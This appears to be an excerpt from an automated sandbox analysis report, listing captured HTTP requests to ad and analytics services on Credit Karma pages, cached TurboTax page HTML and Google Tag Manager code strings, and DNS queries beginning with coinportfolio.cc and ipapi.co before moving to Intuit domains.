Source: global traffic	HTTP traffic detected: GET /?uid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e&ptf=V2luZG93cw==&ptfv=MTAuMC4w&ufv=MTE3LjAuNTkzOC4xMzI=&bnd=R29vZ2xlIENocm9tZQ==&bndv=MTE3&bnd=Tm90O0E9QnJhbmQ=&bndv=OA==&bnd=Q2hyb21pdW0=&bndv=MTE3&mbl=ZmFsc2U= HTTP/1.1Host: cds.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://tags.creditkarma.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: pips.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; t_pt_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /v1/ingest HTTP/1.1Host: pixels.spotify.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/ifs.js HTTP/1.1Host: cdn.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; t_pt_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/986970455/?random=1179434329&cv=11&fst=1723223588800&bg=ffffff&guid=ON&async=1&gtm=45be4880v898638468z89187007122za201zb9187007122&gcd=13l3l3l3l1&dma=0&tag_exp=0&u_w=1280&u_h=1024&url=https%3A%2F%2Ftags.creditkarma.com%2Fwealth&ref=https%3A%2F%2Fwww.creditkarma.com%2F&top=https%3A%2F%2Fwww.creditkarma.com%2F&label=jizLCNKeoboZENfyz9YD&hn=www.googleadservices.com&frm=2&value=0&npa=0&pscdl=noapi&auid=1935046400.1723223580&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&fmt=3&ct_cookie_present=false&crd=CKG4sQIIscGxAgiwwbECCLnBsQIIo8WxAiIBATgBQAFKFWV2ZW50LXNvdXJjZSwgdHJpZ2dlcmIECgICAw&pscrd=CNqdv-y35ae23AEiEwjchIeQtOiHAxVt2REIHaBrK1AyAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzICCBUyAggfMgIIEzICCBI6HWh0dHBzOi8vdGFncy5jcmVkaXRrYXJtYS5jb20v&is_vtc=1&cid=CAQSKQDpaXnfMmQMul_Sdc_JI6EZRggZgBx-qRwpn-DCNrGgqK-EtPWwwen5&eitems=ChEI8PzWtQYQ9LGvkJGl2aK5ARIdACif1ZKBuDVpCCkNy7yZikLxy7w2dpX9UHPCC1I&random=3846938645 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /nr-spa-1210.min.js HTTP/1.1Host: js-agent.newrelic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/favicons/creditkarma-favicon.ico?v=0.1.82 HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/creditkarma/main/prod/utag.js HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/986970455/?random=1179434329&cv=11&fst=1723223588800&bg=ffffff&guid=ON&async=1&gtm=45be4880v898638468z89187007122za201zb9187007122&gcd=13l3l3l3l1&dma=0&tag_exp=0&u_w=1280&u_h=1024&url=https%3A%2F%2Ftags.creditkarma.com%2Fwealth&ref=https%3A%2F%2Fwww.creditkarma.com%2F&top=https%3A%2F%2Fwww.creditkarma.com%2F&label=jizLCNKeoboZENfyz9YD&hn=www.googleadservices.com&frm=2&value=0&npa=0&pscdl=noapi&auid=1935046400.1723223580&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&fmt=3&ct_cookie_present=false&crd=CKG4sQIIscGxAgiwwbECCLnBsQIIo8WxAiIBATgBQAFKFWV2ZW50LXNvdXJjZSwgdHJpZ2dlcmIECgICAw&pscrd=CNqdv-y35ae23AEiEwjchIeQtOiHAxVt2REIHaBrK1AyAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzICCBUyAggfMgIIEzICCBI6HWh0dHBzOi8vdGFncy5jcmVkaXRrYXJtYS5jb20v&is_vtc=1&cid=CAQSKQDpaXnfMmQMul_Sdc_JI6EZRggZgBx-qRwpn-DCNrGgqK-EtPWwwen5&eitems=ChEI8PzWtQYQ9LGvkJGl2aK5ARIdACif1ZKBuDVpCCkNy7yZikLxy7w2dpX9UHPCC1I&random=3846938645 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/favicons/creditkarma-favicon.ico?v=0.1.82 HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1/248e088a40?a=1386172146&sa=1&v=1210.e2a3f80&t=Unnamed%20Transaction&rst=4591&ck=1&ref=https://tags.creditkarma.com/wealth&be=1313&fe=3876&dc=2098&af=err,xhr,stn,ins,spa&perf=%7B%22timing%22:%7B%22of%22:1723223587654,%22n%22:0,%22f%22:0,%22dn%22:4,%22dne%22:4,%22c%22:4,%22s%22:5,%22ce%22:659,%22rq%22:660,%22rp%22:1046,%22rpe%22:1147,%22dl%22:1052,%22di%22:2098,%22ds%22:2098,%22de%22:2098,%22dc%22:3875,%22l%22:3875,%22le%22:3877%7D,%22navigation%22:%7B%7D%7D&jsonp=NREUM.setToken HTTP/1.1Host: bam-cell.nr-data.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /nr-spa-1210.min.js HTTP/1.1Host: js-agent.newrelic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1022710/log/3/unip?en=pre_d_eng_tb&tos=7440&scd=0&ssd=2&est=1723223580465&ver=36&isls=true&src=i&invt=3000&msa=8&rv=1&tim=1723223591980&vi=1723223588845&ri=e657ba7009727bdb4cb6924ac9609ae8&sd=v2_5669f483b68baca18e57d9c66a35bd8f_4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e_1723223582_1723223590_CNawjgYQ9rU-GO3_hMGTMiACKAEw4QE4kaQOQNWmD0jZiNcDUPUDWABgAGiQgI6I5eeGxhBwAQ&ui=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e&ref=null&cv=20230124-13-RELEASE&item-url=https%3A%2F%2Ftags.creditkarma.com%2Fwealth&ler=other HTTP/1.1Host: trc-events.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://tags.creditkarma.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; t_pt_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /utag/creditkarma/main/prod/utag.js HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/creditkarma/main/prod/utag.433.js?utv=ut4.44.202406252114 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/creditkarma/main/prod/utag.433.js?utv=ut4.44.202406252114 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/tiqapp/utag.v.js?a=creditkarma/main/202408020103&cb=1723223594605 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/tiqapp/utag.v.js?a=creditkarma/main/202408020103&cb=1723223594605 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_424.1.dr	String found in binary or memory: "><div data-com-id="GridItem" data-testid="gridItem-element" class=" GridItem-col-span-1-193123f GridItem-sm:col-span-3-04112c4 GridItem-order-e5577f2"><a class="Link-font-demi-link-e4391d8 text-pepper110" data-com-id="Link" href="/site-map/"><span data-com-id="Text" class=" text-size-inherit font-text-weight-inherit" data-sb-field-path=".text">Sitemap</span></a></div><div data-com-id="GridItem" data-testid="gridItem-element" class=" GridItem-col-span-1-193123f GridItem-sm:col-span-3-04112c4 GridItem-order-e5577f2"></div><div data-com-id="GridItem" data-testid="gridItem-element" class=" flex justify-between sm:justify-end GridItem-col-span-2-1646768 GridItem-sm:col-span-6-f29d777 GridItem-order-e5577f2"><a class="Link-font-demi-link-e4391d8 " data-com-id="Link" href="http://www.youtube.com/user/TurboTax"><picture data-com-id="Image" data-testid="gwp-image-picture-test-id" style="margin-bottom:undefined%;margin-top:undefined%;margin-right:undefined%;margin-left:undefined%"><img class="sm:ml-20" src="https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/turbotax/ttcom/icons/social/youtube.svg" alt="YouTube" style="height:20px" data-testid="xs-pic-src" loading="lazy"/></picture></a><a class="Link-font-demi-link-e4391d8 " data-com-id="Link" href="http://blog.turbotax.intuit.com/"><picture data-com-id="Image" data-testid="gwp-image-picture-test-id" style="margin-bottom:undefined%;margin-top:undefined%;margin-right:undefined%;margin-left:undefined%"><img class="sm:ml-20" src="https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/turbotax/ttcom/icons/social/rss.svg" alt="RSS" style="height:20px" data-testid="xs-pic-src" loading="lazy"/></picture></a><a class="Link-font-demi-link-e4391d8 " data-com-id="Link" href="http://www.facebook.com/turbotax"><picture data-com-id="Image" data-testid="gwp-image-picture-test-id" style="margin-bottom:undefined%;margin-top:undefined%;margin-right:undefined%;margin-left:undefined%"><img class="sm:ml-20" src="https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/turbotax/ttcom/icons/social/facebook.svg" alt="Facebook" style="height:20px" data-testid="xs-pic-src" loading="lazy"/></picture></a><a class="Link-font-demi-link-e4391d8 " data-com-id="Link" href="http://twitter.com/TURBOTAX"><picture data-com-id="Image" data-testid="gwp-image-picture-test-id" style="margin-bottom:undefined%;margin-top:undefined%;margin-right:undefined%;margin-left:undefined%"><img class="sm:ml-20" src="https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/turbotax/ttcom/icons/social/twitter.svg" alt="Twitter" style="height:20px" data-testid="xs-pic-src" loading="lazy"/></picture></a><a class="Link-font-demi-link-e4391d8 " data-com-id="Link" href="https://www.instagram.com/turbotax"><picture data-com-id="Image" data-testid="gwp-image-picture-test-id" style="margin-bottom:undefined%;margin-top:undefined%;margin-right:undefined%;margin-left:undefined%"><img class="sm:ml-20" src="https://digitalasset.intuit.com/cont
Source: chromecache_424.1.dr	String found in binary or memory: "><div data-com-id="GridItem" data-testid="gridItem-element" class=" GridItem-col-span-1-193123f GridItem-sm:col-span-3-04112c4 GridItem-order-e5577f2"><a class="Link-font-demi-link-e4391d8 text-pepper110" data-com-id="Link" href="/site-map/"><span data-com-id="Text" class=" text-size-inherit font-text-weight-inherit" data-sb-field-path=".text">Sitemap</span></a></div><div data-com-id="GridItem" data-testid="gridItem-element" class=" GridItem-col-span-1-193123f GridItem-sm:col-span-3-04112c4 GridItem-order-e5577f2"></div><div data-com-id="GridItem" data-testid="gridItem-element" class=" flex justify-between sm:justify-end GridItem-col-span-2-1646768 GridItem-sm:col-span-6-f29d777 GridItem-order-e5577f2"><a class="Link-font-demi-link-e4391d8 " data-com-id="Link" href="http://www.youtube.com/user/TurboTax"><picture data-com-id="Image" data-testid="gwp-image-picture-test-id" style="margin-bottom:undefined%;margin-top:undefined%;margin-right:undefined%;margin-left:undefined%"><img class="sm:ml-20" src="https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/turbotax/ttcom/icons/social/youtube.svg" alt="YouTube" style="height:20px" data-testid="xs-pic-src" loading="lazy"/></picture></a><a class="Link-font-demi-link-e4391d8 " data-com-id="Link" href="http://blog.turbotax.intuit.com/"><picture data-com-id="Image" data-testid="gwp-image-picture-test-id" style="margin-bottom:undefined%;margin-top:undefined%;margin-right:undefined%;margin-left:undefined%"><img class="sm:ml-20" src="https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/turbotax/ttcom/icons/social/rss.svg" alt="RSS" style="height:20px" data-testid="xs-pic-src" loading="lazy"/></picture></a><a class="Link-font-demi-link-e4391d8 " data-com-id="Link" href="http://www.facebook.com/turbotax"><picture data-com-id="Image" data-testid="gwp-image-picture-test-id" style="margin-bottom:undefined%;margin-top:undefined%;margin-right:undefined%;margin-left:undefined%"><img class="sm:ml-20" src="https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/turbotax/ttcom/icons/social/facebook.svg" alt="Facebook" style="height:20px" data-testid="xs-pic-src" loading="lazy"/></picture></a><a class="Link-font-demi-link-e4391d8 " data-com-id="Link" href="http://twitter.com/TURBOTAX"><picture data-com-id="Image" data-testid="gwp-image-picture-test-id" style="margin-bottom:undefined%;margin-top:undefined%;margin-right:undefined%;margin-left:undefined%"><img class="sm:ml-20" src="https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/turbotax/ttcom/icons/social/twitter.svg" alt="Twitter" style="height:20px" data-testid="xs-pic-src" loading="lazy"/></picture></a><a class="Link-font-demi-link-e4391d8 " data-com-id="Link" href="https://www.instagram.com/turbotax"><picture data-com-id="Image" data-testid="gwp-image-picture-test-id" style="margin-bottom:undefined%;margin-top:undefined%;margin-right:undefined%;margin-left:undefined%"><img class="sm:ml-20" src="https://digitalasset.intuit.com/cont
Source: chromecache_424.1.dr	String found in binary or memory: "><div data-com-id="GridItem" data-testid="gridItem-element" class=" GridItem-col-span-1-193123f GridItem-sm:col-span-3-04112c4 GridItem-order-e5577f2"><a class="Link-font-demi-link-e4391d8 text-pepper110" data-com-id="Link" href="/site-map/"><span data-com-id="Text" class=" text-size-inherit font-text-weight-inherit" data-sb-field-path=".text">Sitemap</span></a></div><div data-com-id="GridItem" data-testid="gridItem-element" class=" GridItem-col-span-1-193123f GridItem-sm:col-span-3-04112c4 GridItem-order-e5577f2"></div><div data-com-id="GridItem" data-testid="gridItem-element" class=" flex justify-between sm:justify-end GridItem-col-span-2-1646768 GridItem-sm:col-span-6-f29d777 GridItem-order-e5577f2"><a class="Link-font-demi-link-e4391d8 " data-com-id="Link" href="http://www.youtube.com/user/TurboTax"><picture data-com-id="Image" data-testid="gwp-image-picture-test-id" style="margin-bottom:undefined%;margin-top:undefined%;margin-right:undefined%;margin-left:undefined%"><img class="sm:ml-20" src="https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/turbotax/ttcom/icons/social/youtube.svg" alt="YouTube" style="height:20px" data-testid="xs-pic-src" loading="lazy"/></picture></a><a class="Link-font-demi-link-e4391d8 " data-com-id="Link" href="http://blog.turbotax.intuit.com/"><picture data-com-id="Image" data-testid="gwp-image-picture-test-id" style="margin-bottom:undefined%;margin-top:undefined%;margin-right:undefined%;margin-left:undefined%"><img class="sm:ml-20" src="https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/turbotax/ttcom/icons/social/rss.svg" alt="RSS" style="height:20px" data-testid="xs-pic-src" loading="lazy"/></picture></a><a class="Link-font-demi-link-e4391d8 " data-com-id="Link" href="http://www.facebook.com/turbotax"><picture data-com-id="Image" data-testid="gwp-image-picture-test-id" style="margin-bottom:undefined%;margin-top:undefined%;margin-right:undefined%;margin-left:undefined%"><img class="sm:ml-20" src="https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/turbotax/ttcom/icons/social/facebook.svg" alt="Facebook" style="height:20px" data-testid="xs-pic-src" loading="lazy"/></picture></a><a class="Link-font-demi-link-e4391d8 " data-com-id="Link" href="http://twitter.com/TURBOTAX"><picture data-com-id="Image" data-testid="gwp-image-picture-test-id" style="margin-bottom:undefined%;margin-top:undefined%;margin-right:undefined%;margin-left:undefined%"><img class="sm:ml-20" src="https://digitalasset.intuit.com/content/dam/intuit/cg/en_us/turbotax/ttcom/icons/social/twitter.svg" alt="Twitter" style="height:20px" data-testid="xs-pic-src" loading="lazy"/></picture></a><a class="Link-font-demi-link-e4391d8 " data-com-id="Link" href="https://www.instagram.com/turbotax"><picture data-com-id="Image" data-testid="gwp-image-picture-test-id" style="margin-bottom:undefined%;margin-top:undefined%;margin-right:undefined%;margin-left:undefined%"><img class="sm:ml-20" src="https://digitalasset.intuit.com/cont
Source: chromecache_411.1.dr, chromecache_960.1.dr	String found in binary or memory: Math.round(q);v["gtm.videoElapsedTime"]=Math.round(f);v["gtm.videoPercent"]=r;v["gtm.videoVisible"]=t;return v},jk:function(){e=Cb()},pd:function(){d()}}};var ic=ja(["data-gtm-yt-inspected-"]),tC=["www.youtube.com","www.youtube-nocookie.com"],uC,vC=!1; equals www.youtube.com (Youtube)
Source: chromecache_411.1.dr, chromecache_875.1.dr, chromecache_960.1.dr, chromecache_725.1.dr	String found in binary or memory: c?"runIfCanceled":"runIfUncanceled",[]);if(!g.length)return!0;var k=cA(a,c,e);O(121);if(k["gtm.elementUrl"]==="https://www.facebook.com/tr/")return O(122),!0;if(d&&f){for(var m=Nb(b,g.length),n=0;n<g.length;++n)g[n](k,m);return m.done}for(var p=0;p<g.length;++p)g[p](k,function(){});return!0},fA=function(){var a=[],b=function(c){return sb(a,function(d){return d.form===c})};return{store:function(c,d){var e=b(c);e?e.button=d:a.push({form:c,button:d})},get:function(c){var d=b(c);return d?d.button:null}}}, equals www.facebook.com (Facebook)
Source: chromecache_411.1.dr, chromecache_960.1.dr	String found in binary or memory: if(!(e\|\|f\|\|g\|\|k.length\|\|m.length))return;var p={eh:e,ah:f,bh:g,Qh:k,Rh:m,Fe:n,Db:b},q=G.YT;if(q)return q.ready&&q.ready(d),b;var r=G.onYouTubeIframeAPIReady;G.onYouTubeIframeAPIReady=function(){r&&r();d()};I(function(){for(var t=H.getElementsByTagName("script"),u=t.length,v=0;v<u;v++){var w=t[v].getAttribute("src");if(EC(w,"iframe_api")\|\|EC(w,"player_api"))return b}for(var x=H.getElementsByTagName("iframe"),y=x.length,B=0;B<y;B++)if(!vC&&CC(x[B],p.Fe))return Ac("https://www.youtube.com/iframe_api"), equals www.youtube.com (Youtube)
Source: chromecache_875.1.dr, chromecache_933.1.dr, chromecache_870.1.dr, chromecache_725.1.dr	String found in binary or memory: return b}rC.J="internal.enableAutoEventOnTimer";var ic=ja(["data-gtm-yt-inspected-"]),tC=["www.youtube.com","www.youtube-nocookie.com"],uC,vC=!1; equals www.youtube.com (Youtube)
Source: chromecache_411.1.dr, chromecache_875.1.dr, chromecache_960.1.dr, chromecache_725.1.dr	String found in binary or memory: var GB=function(a,b,c,d,e){var f=Az("fsl",c?"nv.mwt":"mwt",0),g;g=c?Az("fsl","nv.ids",[]):Az("fsl","ids",[]);if(!g.length)return!0;var k=Fz(a,"gtm.formSubmit",g),m=a.action;m&&m.tagName&&(m=a.cloneNode(!1).action);O(121);if(m==="https://www.facebook.com/tr/")return O(122),!0;k["gtm.elementUrl"]=m;k["gtm.formCanceled"]=c;a.getAttribute("name")!=null&&(k["gtm.interactedFormName"]=a.getAttribute("name"));e&&(k["gtm.formSubmitElement"]=e,k["gtm.formSubmitElementText"]=e.value);if(d&&f){if(!oy(k,py(b, equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: coinportfolio.cc
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: kit.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: ka-f.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: ipapi.co
Source: global traffic	DNS traffic detected: DNS query: turbotax.intuit.com
Source: global traffic	DNS traffic detected: DNS query: lib.intuitcdn.net
Source: global traffic	DNS traffic detected: DNS query: uxfabric.intuitcdn.net
Source: global traffic	DNS traffic detected: DNS query: digitalasset.intuit.com
Source: global traffic	DNS traffic detected: DNS query: hostedseal.trustarc.com
Source: global traffic	DNS traffic detected: DNS query: s.go-mpulse.net
Source: global traffic	DNS traffic detected: DNS query: consent.intuit.com
Source: global traffic	DNS traffic detected: DNS query: consent.intuit.tsheets.com
Source: global traffic	DNS traffic detected: DNS query: consent.intuit.quickbooksconnect.com
Source: global traffic	DNS traffic detected: DNS query: consent.www.firmofthefuture.com
Source: global traffic	DNS traffic detected: DNS query: consent.mailchimp.com
Source: global traffic	DNS traffic detected: DNS query: c.go-mpulse.net
Source: global traffic	DNS traffic detected: DNS query: dpm.demdex.net
Source: global traffic	DNS traffic detected: DNS query: segment.intuitcdn.net
Source: global traffic	DNS traffic detected: DNS query: geolocation.onetrust.com
Source: global traffic	DNS traffic detected: DNS query: turbotax.demdex.net
Source: global traffic	DNS traffic detected: DNS query: sci.intuit.com
Source: global traffic	DNS traffic detected: DNS query: idsync.rlcdn.com
Source: global traffic	DNS traffic detected: DNS query: ds.reson8.com
Source: global traffic	DNS traffic detected: DNS query: tags.tiqcdn.com
Source: global traffic	DNS traffic detected: DNS query: appfabric-preload.app.intuit.com
Source: global traffic	DNS traffic detected: DNS query: intuitvisitorid.api.intuit.com
Source: global traffic	DNS traffic detected: DNS query: adobedc.demdex.net
Source: global traffic	DNS traffic detected: DNS query: eventbus.intuit.com
Source: global traffic	DNS traffic detected: DNS query: plugin.intuitcdn.net
Source: global traffic	DNS traffic detected: DNS query: assets.intuitcdn.net
Source: global traffic	DNS traffic detected: DNS query: 684dd328.akstat.io
